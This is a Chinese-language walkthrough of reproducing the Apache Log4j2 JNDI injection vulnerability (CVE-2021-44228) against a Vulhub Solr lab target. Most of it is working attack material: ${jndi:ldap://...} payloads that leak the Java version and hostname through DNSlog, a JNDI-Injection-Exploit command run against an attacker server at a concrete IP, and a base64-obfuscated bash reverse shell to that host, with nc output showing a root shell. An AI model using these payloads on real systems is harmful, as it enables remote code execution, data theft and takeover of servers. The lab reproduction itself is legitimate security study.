apache|Apache Log4j2远程代码执行漏洞(CVE-2021-44228)漏洞复现


文章目录

  • 0x00 漏洞简介
  • 0x01 影响范围
  • 0x02 环境搭建(Vulhub)
  • 0x03 Dnslog出网测试
  • 0x04 JNDI注入反弹shell

0x00 漏洞简介
  • Apache Log4j 是 Apache 的一个开源项目,Apache Log4j2是一个基于Java的日志记录工具。
  • 该工具重写了Log4j框架,并且引入了大量丰富的特性。
  • 我们可以控制日志信息输送的目的地为控制台、文件、GUI组件等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。
  • 该日志框架被大量用于业务系统开发,用来记录日志信息。
  • Apace在其2.0到2.14.1版本中存在一处JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于${jndi:ldap://evil.com/example}的lookup用于进行JNDI注入,执行任意代码。
0x01 影响范围
Apache Log4j2 2.x <= 2.14.1
Apache Log4j2 2.15.0-rc1(补丁绕过)
log4j + ? = rce !
  • Apache Flink
  • Apache Struts2
  • Apache Spark
  • Apache Storm
  • Apache Tomcat
  • Apache Solr
  • Apache Dubbo
  • Apache Druid
  • Apache OFBiz
  • Apache Flume
  • Redis
  • Logstash
  • ElasticSearch
  • Apache Kafka
  • Ghidra
  • Spring-Boot-strater-log4j2
  • VMware vCenter
  • Minecraft
0x02 环境搭建(Vulhub) 【apache|Apache Log4j2远程代码执行漏洞(CVE-2021-44228)漏洞复现】这里以vulhub提供的Solr作为靶机环境
┌──(rootkali)-[~/vulhub/log4j/CVE-2021-44228] └─# docker-compose up -d Creating network "cve-2021-44228_default" with the default driver Creating cve-2021-44228_solr_1 ... done

访问靶机环境http://192.168.1.27:8983/solr/#/
apache|Apache Log4j2远程代码执行漏洞(CVE-2021-44228)漏洞复现
文章图片

0x03 Dnslog出网测试
action=${jndi:ldap://X.X.X.X/exp} action=${jndi:ldap://iwpm6l.dnslog.cn}

先获取一个dnslog的子域名,并在靶机中进行ldap请求
apache|Apache Log4j2远程代码执行漏洞(CVE-2021-44228)漏洞复现
文章图片

apache|Apache Log4j2远程代码执行漏洞(CVE-2021-44228)漏洞复现
文章图片

dnslog回显正常,接下来利用dnslog获取java版本信息
action=${jndi:ldap://${sys:java.version}.iwpm6l.dnslog.cn} action=${jndi:ldap://${env:HOSTNAME}.iwpm6l.dnslog.cn}

apache|Apache Log4j2远程代码执行漏洞(CVE-2021-44228)漏洞复现
文章图片

0x04 JNDI注入反弹shell 这里用到一个JNDI注入的小工具,可以生成JNDI链接并启动后端相关服务
https://github.com/welk1n/JNDI-Injection-Exploit

可执行程序为jar包,在命令行中运行以下命令:
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]

命令会被作为参数传入Runtime.getRuntime().exec()函数中
首先运行jar,在本地启动服务,生成恶意的JNDI Links
root@iZ2zec7mjp663ump9wsug3Z:~# java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C touch /tmp/success -A 39.107.138.71 [ADDRESS] >> 39.107.138.71 [COMMAND] >> touch /tmp/success ----------------------------JNDI Links---------------------------- Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath): rmi://39.107.138.71:1099/snyuh8 Target environment(Build in JDK 1.7 whose trustURLCodebase is true): rmi://39.107.138.71:1099/0puzfm ldap://39.107.138.71:1389/0puzfm Target environment(Build in JDK 1.8 whose trustURLCodebase is true): rmi://39.107.138.71:1099/tcub4d ldap://39.107.138.71:1389/tcub4d

这里使用JDK 1.8的链接,将其作为JNDI查询的对象,从而使得靶机访问ldap服务,获取到恶意的class文件
apache|Apache Log4j2远程代码执行漏洞(CVE-2021-44228)漏洞复现
文章图片

返回容器中查看可以看到touch命令成功执行
┌──(rootkali)-[~/vulhub/log4j/CVE-2021-44228] └─# docker exec -it 28c4b1734b97 /bin/bash root@28c4b1734b97:/opt/solr# cd /tmp root@28c4b1734b97:/tmp# ls hsperfdata_rootstart_2309813075613123050.properties jetty-0_0_0_0-8983-webapp-_solr-any-7467976691080398284success

将命令换成反弹shell
bash -c "{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8zOS4xMDcuMTM4LjcxLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}"

攻击机监听6666端口成功获取shell
root@iZ2zec7mjp663ump9wsug3Z:~# nc -lvvp 6666 Listening on [0.0.0.0] (family 0, port 6666) Connection from 171.43.224.56 13709 received! bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shellroot@28c4b1734b97:/opt/solr/server# whoami whoami root

    推荐阅读